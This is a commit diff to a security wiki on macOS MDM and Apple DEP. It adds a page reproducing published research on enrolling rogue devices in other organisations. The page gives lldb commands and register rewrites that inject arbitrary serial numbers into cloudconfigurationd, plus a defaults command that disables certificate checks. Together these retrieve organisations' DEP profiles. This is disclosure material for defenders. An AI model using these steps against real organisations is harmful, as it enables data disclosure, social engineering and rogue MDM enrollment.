GitBook: [master] 6 pages modified

This commit is contained in:
CPol 2021-08-15 23:42:26 +00:00 committed by gitbook-bot
parent 6de888fc4a
commit bd33a9c6b5
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
5 changed files with 456 additions and 9 deletions

View file

@ -57,7 +57,8 @@
* [MacOS Security & Privilege Escalation](macos/macos-security-and-privilege-escalation/README.md)
* [Mac OS Architecture](macos/macos-security-and-privilege-escalation/mac-os-architecture.md)
* [MacOS MDM](macos/macos-security-and-privilege-escalation/macos-mdm.md)
* [MacOS MDM](macos/macos-security-and-privilege-escalation/macos-mdm/README.md)
* [Enrolling Devices in Other Organisations](macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md)
* [MacOS Protocols](macos/macos-security-and-privilege-escalation/macos-protocols.md)
* [MacOS Red Teaming](macos/macos-security-and-privilege-escalation/macos-red-teaming.md)
* [MacOS Serial Number](macos/macos-security-and-privilege-escalation/macos-serial-number.md)

View file

@ -141,7 +141,7 @@ You can enable/disable these services in "System Preferences" --> Sharing
### MacOS MDM
{% page-ref page="macos-mdm.md" %}
{% page-ref page="macos-mdm/" %}
### MacOS Protocols

View file

@ -4,16 +4,26 @@
### What is MDM \(Mobile Device Management\)?
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) \(MDM\) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf).
* A way to achieve **centralized device management**
* Requires an **MDM server** which implements support for the MDM protocol
* MDM server can **send MDM commands**, such as remote wipe or “install this config”
### Basics What is DEP \(Device Enrolment Program\)?
The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) \(DEP\) is a service offered by Apple that **simplifies** Mobile Device Management \(MDM\) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**.
Administrators can leverage DEP to automatically enroll devices in their organizations MDM server. Once a device is enrolled, **in many cases it is treated as a “trusted”** device owned by the organization, and could receive any number of certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).
* Allows a device to automatically enroll in pre-configured MDM server the **first time its powered** on
* Most useful when the **device** is **brand new**
* Can also be useful for **reprovisioning** workflows \(**wiped** with fresh install of the OS\)
{% hint style="danger" %}
Unfortunately, if an organization has not taken additional steps to **protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for **attackers to enroll a device of their choosing in the organizations MDM** server, assuming the "identity" of a corporate device.
{% endhint %}
### Basics What is SCEP \(Simple Certificate Enrolment Protocol\)?
* A relatively old protocol, created before TLS and HTTPS were widespread.
@ -38,7 +48,10 @@
### DEP
* **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity \(undocumented\)
* **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity \(undocumented\):
* The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices.
* The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status.
* The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API.
* More modern and **JSON** based \(vs. plist\)
* Apple grants an **OAuth token** to the MDM vendor
@ -62,7 +75,7 @@
6. Profile installation \(Device\) a. incl. MDM, SCEP and root CA payloads
7. MDM command issuance \(Device\)
![](../../.gitbook/assets/image%20%28564%29.png)
![](../../../.gitbook/assets/image%20%28564%29.png)
The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process.
@ -70,7 +83,7 @@ The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Librar
This part of the process occurs when a **user boots a Mac for the first time** \(or after a complete wipe\)
![](../../.gitbook/assets/image%20%28568%29.png)
![](../../../.gitbook/assets/image%20%28568%29.png)
or when executing `sudo profiles show -type enrollment`
@ -95,7 +108,7 @@ It follows a few steps to get the Activation Record performed by **`MCTeslaConfi
2. The JSON payload is encrypted using Absinthe \(**`NACSign`**\)
3. All requests over HTTPs, built-in root certificates are used
![](../../.gitbook/assets/image%20%28566%29.png)
![](../../../.gitbook/assets/image%20%28566%29.png)
The response is a JSON dictionary with some important data like:
@ -104,7 +117,7 @@ The response is a JSON dictionary with some important data like:
### **Step 5: Profile Retrieval**
![](../../.gitbook/assets/image%20%28569%29.png)
![](../../../.gitbook/assets/image%20%28569%29.png)
* Request sent to **url provided in DEP profile**.
* **Anchor certificates** are used to **evaluate trust** if provided.
@ -115,7 +128,7 @@ The response is a JSON dictionary with some important data like:
* Signed using the **device identity certificate \(from APNS\)**
* **Certificate chain** includes expired **Apple iPhone Device CA**
![](../../.gitbook/assets/image%20%28567%29%20%281%29%20%282%29.png)
![](../../../.gitbook/assets/image%20%28567%29%20%281%29%20%282%29.png)
### Step 6: Profile Installation
@ -160,7 +173,17 @@ Typically, **activation profile** provided by an MDM vendor will **include the f
* **`ServerURLPinningCertificateUUIDs`** for pinning request
* **`IdentityCertificateUUID`** for TLS client certificate
## Attacks
### Enrolling Devices in Other Organisations
As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected:
{% page-ref page="enrolling-devices-in-other-organisations.md" %}
## **References**
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)

View file

@ -0,0 +1,423 @@
# Enrolling Devices in Other Organisations
## Intro
As ****[**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
**The following research is taken from** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)\*\*\*\*
## Reversing the process
### Binaries Involved in DEP and MDM
Throughout our research, we explored the following:
* **`mdmclient`**: Used by the OS to communicate with an MDM server. On macOS 10.13.3 and earlier, it can also be used to trigger a DEP check-in.
* **`profiles`**: A utility that can be used to install, remove and view Configuration Profiles on macOS. It can also be used to trigger a DEP check-in on macOS 10.13.4 and newer.
* **`cloudconfigurationd`**: The Device Enrollment client daemon, which is responsible for communicating with the DEP API and retrieving Device Enrollment profiles.
When using either `mdmclient` or `profiles` to initiate a DEP check-in, the `CPFetchActivationRecord` and `CPGetActivationRecord` functions are used to retrieve the _Activation Record_. `CPFetchActivationRecord` delegates control to `cloudconfigurationd` through [XPC](https://developer.apple.com/documentation/xpc), which then retrieves the _Activation Record_ from the DEP API.
`CPGetActivationRecord` retrieves the _Activation Record_ from cache, if available. These functions are defined in the private Configuration Profiles framework, located at `/System/Library/PrivateFrameworks/Configuration Profiles.framework`.
### Reverse Engineering the Tesla Protocol and Absinthe Scheme
During the DEP check-in process, `cloudconfigurationd` requests an _Activation Record_ from _iprofiles.apple.com/macProfile_. The request payload is a JSON dictionary containing two key-value pairs:
```text
{
"sn": "",
action": "RequestProfileConfiguration
}
```
The payload is signed and encrypted using a scheme internally referred to as "Absinthe." The encrypted payload is then Base 64 encoded and used as the request body in an HTTP POST to _iprofiles.apple.com/macProfile_.
In `cloudconfigurationd`, fetching the _Activation Record_ is handled by the `MCTeslaConfigurationFetcher` class. The general flow from `[MCTeslaConfigurationFetcher enterState:]` is as follows:
```text
rsi = @selector(verifyConfigBag);
rsi = @selector(startCertificateFetch);
rsi = @selector(initializeAbsinthe);
rsi = @selector(startSessionKeyFetch);
rsi = @selector(establishAbsintheSession);
rsi = @selector(startConfigurationFetch);
rsi = @selector(sendConfigurationInfoToRemote);
rsi = @selector(sendFailureNoticeToRemote);
```
Since the **Absinthe** scheme is what appears to be used to authenticate requests to the DEP service, **reverse engineering** this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be **time consuming**, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the _Activation Record_ request.
### MITMing DEP Requests
We explored the feasibility of proxying network requests to _iprofiles.apple.com_ with [Charles Proxy](https://www.charlesproxy.com/). Our goal was to inspect the payload sent to _iprofiles.apple.com/macProfile_, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by `cloudconfigurationd` is in [JSON](https://www.json.org/) format and contains two key-value pairs.
```text
{
"action": "RequestProfileConfiguration",
sn": "
}
```
Since the API at _iprofiles.apple.com_ uses [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) \(TLS\), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests.
However, the `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` method checks the validity of the server certificate, and will abort if server trust cannot be verified.
```text
[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
"The Device Enrollment server trust could not be verified. Please contact your system
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
server trust could not be verified. Please contact your system administrator.,
MCErrorType=MCFatalError}
```
The error message shown above is located in a binary _Errors.strings_ file with the key `CLOUD_CONFIG_SERVER_TRUST_ERROR`, which is located at `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, along with other related error messages.
```text
$ cd /System/Library/CoreServices
$ rg "The Device Enrollment server trust could not be verified"
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
<snip>
```
The _Errors.strings_ file can be [printed in a human-readable format](https://duo.com/labs/research/mdm-me-maybe#error_strings_output) with the built-in `plutil` command.
```text
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
```
After looking into the `MCTeslaConfigurationFetcher` class further, though, it became clear that this server trust behavior can be circumvented by enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration option on the `com.apple.ManagedClient.cloudconfigurationd` preference domain.
```text
loc_100006406:
rax = [NSUserDefaults standardUserDefaults];
rax = [rax retain];
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
r15 = r15;
[rax release];
if (r14 != 0x1) goto loc_10000646f;
```
The `MCCloudConfigAcceptAnyHTTPSCertificate` configuration option can be set with the `defaults` command.
```text
sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes
```
With SSL Proxying enabled for _iprofiles.apple.com_ and `cloudconfigurationd` configured to accept any HTTPS certificate, we attempted to man-in-the-middle and replay the requests in Charles Proxy.
However, since the payload included in the body of the HTTP POST request to _iprofiles.apple.com/macProfile_ is signed and encrypted with Absinthe, \(`NACSign`\), **it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it**. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring `cloudconfigurationd` with the [LLDB](https://lldb.llvm.org/) debugger.
### Instrumenting System Binaries That Interact With DEP
The final method we explored for automating the process of submitting arbitrary serial numbers to _iprofiles.apple.com/macProfile_ was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the `mdmclient`, `profiles`, and `cloudconfigurationd` in [Hopper v4](https://www.hopperapp.com/) and [Ida Pro](https://www.hex-rays.com/products/ida/), and some lengthy debugging sessions with `lldb`.
One of the benefits of this method over modifying the binaries and re-signing them with our own key is that it sidesteps some of the entitlements restrictions built into macOS that might otherwise deter us.
**System Integrity Protection**
In order to instrument system binaries, \(such as `cloudconfigurationd`\) on macOS, [System Integrity Protection](https://support.apple.com/en-us/HT204899) \(SIP\) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. [SIP can be disabled](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) by booting into Recovery Mode and running the following command in the Terminal application, then rebooting:
```text
csrutil enable --without debug
```
Its worth noting, however, that SIP is a useful security feature and should not be disabled except for research and testing purposes on non-production machines. Its also possible \(and recommended\) to do this on non-critical Virtual Machines rather than on the host operating system.
**Binary Instrumentation With LLDB**
With SIP disabled, we were then able to move forward with instrumenting the system binaries that interact with the DEP API, namely, the `cloudconfigurationd` binary. Because `cloudconfigurationd` requires elevated privileges to run, we need to start `lldb` with `sudo`.
```text
$ sudo lldb
(lldb) process attach --waitfor --name cloudconfigurationd
```
While `lldb` is waiting, we can then attach to `cloudconfigurationd` by running `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. Once attached, output similar to the following will be displayed and LLDB commands can be typed at the prompt.
```text
Process 861 stopped
* thread #1, stop reason = signal SIGSTOP
<snip>
Target 0: (cloudconfigurationd) stopped.
Executable module set to "/usr/libexec/cloudconfigurationd".
Architecture set to: x86_64h-apple-macosx.
(lldb)
```
**Setting the Device Serial Number**
One of the first things we looked for when reversing `mdmclient` and `cloudconfigurationd` was the code responsible for retrieving the system serial number, as we knew the serial number was ultimately responsible for authenticating the device. Our goal was to modify the serial number in memory after it is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), and have that be used when `cloudconfigurationd` constructs the `macProfile` payload.
Although `cloudconfigurationd` is ultimately responsible for communicating with the DEP API, we also looked into whether the system serial number is retrieved or used directly within `mdmclient`. The serial number retrieved as shown below is not what is sent to the DEP API, but it did reveal a hard-coded serial number that is used if a specific configuration option is enabled.
```text
int sub_10002000f() {
if (sub_100042b6f() != 0x0) {
r14 = @"2222XXJREUF";
}
else {
rax = IOServiceMatching("IOPlatformExpertDevice");
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
<snip>
}
rax = r14;
return rax;
}
```
The system serial number is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), unless the return value of `sub_10002000f` is nonzero, in which case its set to the static string “2222XXJREUF”. Upon inspecting that function, it appears to check whether “Server stress test mode” is enabled.
```text
void sub_1000321ca(void * _block) {
if (sub_10002406f() != 0x0) {
*(int8_t *)0x100097b68 = 0x1;
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
}
return;
}
```
We documented the existence of “server stress test mode,” but didnt explore it any further, as our goal was to modify the serial number presented to the DEP API. Instead, we tested whether modifying the serial number pointed to by the `r14` register would suffice in retrieving an _Activation Record_ that was not meant for the machine we were testing on.
Next, we looked at how the system serial number is retrieved within `cloudconfigurationd`.
```text
int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
var_50 = arg3;
r12 = arg2;
r13 = arg1;
r15 = arg0;
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
r14 = 0xffffffffffff541a;
if (rbx != 0x0) {
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
r14 = rax;
<snip>
}
rax = r14;
return rax;
}
```
As can be seen above, the serial number is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) in `cloudconfigurationd` as well.
Using `lldb`, we were able to modify the serial number retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) by setting a breakpoint for `IOServiceGetMatchingService` and creating a new string variable containing an arbitrary serial number and rewriting the `r14` register to point to the memory address of the variable we created.
```text
(lldb) breakpoint set -n IOServiceGetMatchingService
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --waitfor --name cloudconfigurationd
Process 2208 stopped
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
stop reason = instruction step over frame #0: 0x000000010fd824d8
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
-> 0x10fd824d8 <+73>: movl %ebx, %edi
0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease
0x10fd824df <+80>: testq %r14, %r14
0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88>
Target 0: (cloudconfigurationd) stopped.
(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService`
# Step through the program execution by pressing 'n' a bunch of times and
# then 'po $r14' until we see the serial number.
(lldb) n
(lldb) po $r14
C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry`
# Create a new variable containing an arbitrary serial number and print the memory address.
(lldb) p/x @"C02XXYYZZNNMM"
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
# Rewrite the `r14` register to point to our new variable.
(lldb) register write $r14 0x00007fb6d7d05850
(lldb) po $r14
# Confirm that `r14` contains the new serial number.
C02XXYYZZNNMM
```
Although we were successful in modifying the serial number retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), the `macProfile` payload still contained the system serial number, not the one we wrote to the `r14` register.
**Exploit: Modifying the Profile Request Dictionary Prior to JSON Serialization**
Next, we tried setting the serial number that is sent in the `macProfile` payload in a different way. This time, rather than modifying the system serial number retrieved via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), we tried to find the closest point in the code where the serial number is still in plain text before being signed with Absinthe \(`NACSign`\). The best point to look at appeared to be `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, which roughly performs the following steps:
* Creates a new `NSMutableData` object
* Calls `[MCTeslaConfigurationFetcher setConfigurationData:]`, passing it the new `NSMutableData` object
* Calls `[MCTeslaConfigurationFetcher profileRequestDictionary]`, which returns an `NSDictionary` object containing two key-value pairs:
* `sn`: The system serial number
* `action`: The remote action to perform \(with `sn` as its argument\)
* Calls `[NSJSONSerialization dataWithJSONObject:]`, passing it the `NSDictionary` from `profileRequestDictionary`
* Signs the JSON payload using Absinthe \(`NACSign`\)
* Base64 encodes the signed JSON payload
* Sets the HTTP method to `POST`
* Sets the HTTP body to the base64 encoded, signed JSON payload
* Sets the `X-Profile-Protocol-Version` HTTP header to `1`
* Sets the `User-Agent` HTTP header to `ConfigClient-1.0`
* Uses the `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` method to perform the HTTP request
We then modified the `NSDictionary` object returned from `profileRequestDictionary` before being converted into JSON. To do this, a breakpoint was set on `dataWithJSONObject` in order to get us as close as possible to the as-yet unconverted data as possible. The breakpoint was successful, and when we printed the contents of the register we knew through the disassembly \(`rdx`\) that we got the results we expected to see.
```text
po $rdx
{
action = RequestProfileConfiguration;
sn = C02XXYYZZNNMM;
}
```
The above is a pretty-printed representation of the `NSDictionary` object returned by `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Our next challenge was to modify the in-memory `NSDictionary` containing the serial number.
```text
(lldb) breakpoint set -r "dataWithJSONObject"
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --name "cloudconfigurationd" --waitfor
Process 3291 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
Target 0: (cloudconfigurationd) stopped.
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
(lldb) continue
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
@"RequestProfileConfiguration", @"action", nil]
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
# Confirm that `rdx` contains the new `NSDictionary`.
po $rdx
{
action = RequestProfileConfiguration;
sn = <new_serial_number>
}
```
The listing above does the following:
* Creates a regular expression breakpoint for the `dataWithJSONObject` selector
* Waits for the `cloudconfigurationd` process to start, then attaches to it
* `continue`s execution of the program, \(because the first breakpoint we hit for `dataWithJSONObject` is not the one called on the `profileRequestDictionary`\)
* Creates and prints \(in hex format due to the `/x`\) the result of creating our arbitrary `NSDictionary`
* Since we already know the names of the required keys we can simply set the serial number to one of our choice for `sn` and leave action alone
* The printout of the result of creating this new `NSDictionary` tells us we have two key-value pairs at a specific memory location
Our final step was now to repeat the same step of writing to `rdx` the memory location of our custom `NSDictionary` object that contains our chosen serial number:
```text
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
(lldb) continue
```
This points the `rdx` register to our new `NSDictionary` right before it's serialized to [JSON](https://www.json.org/) and `POST`ed to _iprofiles.apple.com/macProfile_, then `continue`s program flow.
This method of modifying the serial number in the profile request dictionary before being serialized to JSON worked. When using a known-good DEP-registered Apple serial number instead of \(null\), the debug log for `ManagedClient` showed the complete DEP profile for the device:
```text
Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
{
AllowPairing = 1;
AnchorCertificates = (
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://some.url/cloudenroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "Org address";
OrganizationAddressLine1 = "More address";
OrganizationAddressLine2 = NULL;
OrganizationCity = A City;
OrganizationCountry = US;
OrganizationDepartment = "Org Dept";
OrganizationEmail = "dep.management@org.url";
OrganizationMagic = <unique string>;
OrganizationName = "ORG NAME";
OrganizationPhone = "+1551234567";
OrganizationSupportPhone = "+15551235678";
OrganizationZipCode = "ZIPPY";
SkipSetup = (
AppleID,
Passcode,
Zoom,
Biometric,
Payment,
TOS,
TapToSetup,
Diagnostics,
HomeButtonSensitivity,
Android,
Siri,
DisplayTone,
ScreenSaver
);
SupervisorHostCertificates = (
);
}
```
With just a few `lldb` commands we can successfully insert an arbitrary serial number and get a DEP profile that includes various organization-specific data, including the organization's MDM enrollment URL. As discussed, this enrollment URL could be used to enroll a rogue device now that we know its serial number. The other data could be used to social engineer a rogue enrollment. Once enrolled, the device could receive any number of certificates, profiles, applications, VPN configurations and so on.
### Automating `cloudconfigurationd` Instrumentation With Python
Once we had the initial proof-of-concept demonstrating how to retrieve a valid DEP profile using just a serial number, we set out to automate this process to show how an attacker might abuse this weakness in authentication.
Fortunately, the LLDB API is available in Python through a [script-bridging interface](https://lldb.llvm.org/python-reference.html). On macOS systems with the [Xcode Command Line Tools](https://developer.apple.com/download/more/) installed, the `lldb` Python module can be imported as follows:
```text
import lldb
```
This made it relatively easy to script our proof-of-concept demonstrating how to insert a DEP-registered serial number and receive a valid DEP profile in return. The PoC we developed takes a list of serial numbers separated by newlines and injects them into the `cloudconfigurationd` process to check for DEP profiles.
![Charles SSL Proxying Settings.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800&fit=contain&s=d1c9216716bf619e7e10e45c9968f83b)
![DEP Notification.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800&fit=contain&s=4f7b95efd02245f9953487dcaac6a961)
### Impact
There are a number of scenarios in which Apple's Device Enrollment Program could be abused that would lead to exposing sensitive information about an organization. The two most obvious scenarios involve obtaining information about the organization that a device belongs to, which can be retrieved from the DEP profile. The second is using this information to perform a rogue DEP and MDM enrollment. Each of these are discussed further below.
#### Information Disclosure
As mentioned previously, part of the DEP enrollment process involves requesting and receiving an _Activation Record_, \(or DEP profile\), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, \(either printed to `stdout` or written to the `ManagedClient` log, depending on macOS version\).
```text
Activation record: {
AllowPairing = 1;
AnchorCertificates = (
<array_of_der_encoded_certificates>
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://example.com/enroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
OrganizationAddressLine1 = "123 Main Street";
OrganizationAddressLine2 = NULL;
OrganizationCity = Anywhere;
OrganizationCountry = USA;
OrganizationDepartment = "IT";
OrganizationEmail = "dep@example.com";
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
OrganizationName = "Example, Inc.";
OrganizationPhone = "+15555555555";
OrganizationSupportPhone = "+15555555555";
OrganizationZipCode = "12345";
SkipSetup = (
<array_of_setup_screens_to_skip>
);
SupervisorHostCertificates = (
);
}
```
Although some of this information might be publicly available for certain organizations, having a serial number of a device owned by the organization along with the information obtained from the DEP profile could be used against an organization's help desk or IT team to perform any number of social engineering attacks, such as requesting a password reset or help enrolling a device in the company's MDM server.
#### Rogue DEP Enrollment
The [Apple MDM protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) supports - but does not require - user authentication prior to MDM enrollment via [HTTP Basic Authentication](https://en.wikipedia.org/wiki/Basic_access_authentication). **Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number**. Thus, an attacker that obtains such a serial number, \(either through [OSINT](https://en.wikipedia.org/wiki/Open-source_intelligence), social engineering, or by brute-force\), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device.
Organizations can - and do - leverage MDM to deploy sensitive information such as device and user certificates, VPN configuration data, enrollment agents, Configuration Profiles, and various other internal data and organizational secrets. Additionally, some organizations elect not to require user authentication as part of MDM enrollment. This has various benefits, such as a better user experience, and not having to [expose the internal authentication server to the MDM server to handle MDM enrollments that take place outside of the corporate network](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep).
This presents a problem when leveraging DEP to bootstrap MDM enrollment, though, because an attacker would be able to enroll any endpoint of their choosing in the organization's MDM server. Additionally, once an attacker successfully enrolls an endpoint of their choosing in MDM, they may obtain privileged access that could be used to further pivot within the network.

View file

@ -9,7 +9,7 @@ If you manage to **compromise admin credentials** to access the management platf
For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work:
{% page-ref page="macos-mdm.md" %}
{% page-ref page="macos-mdm/" %}
And also about **MacOS** "special" **network** **protocols**: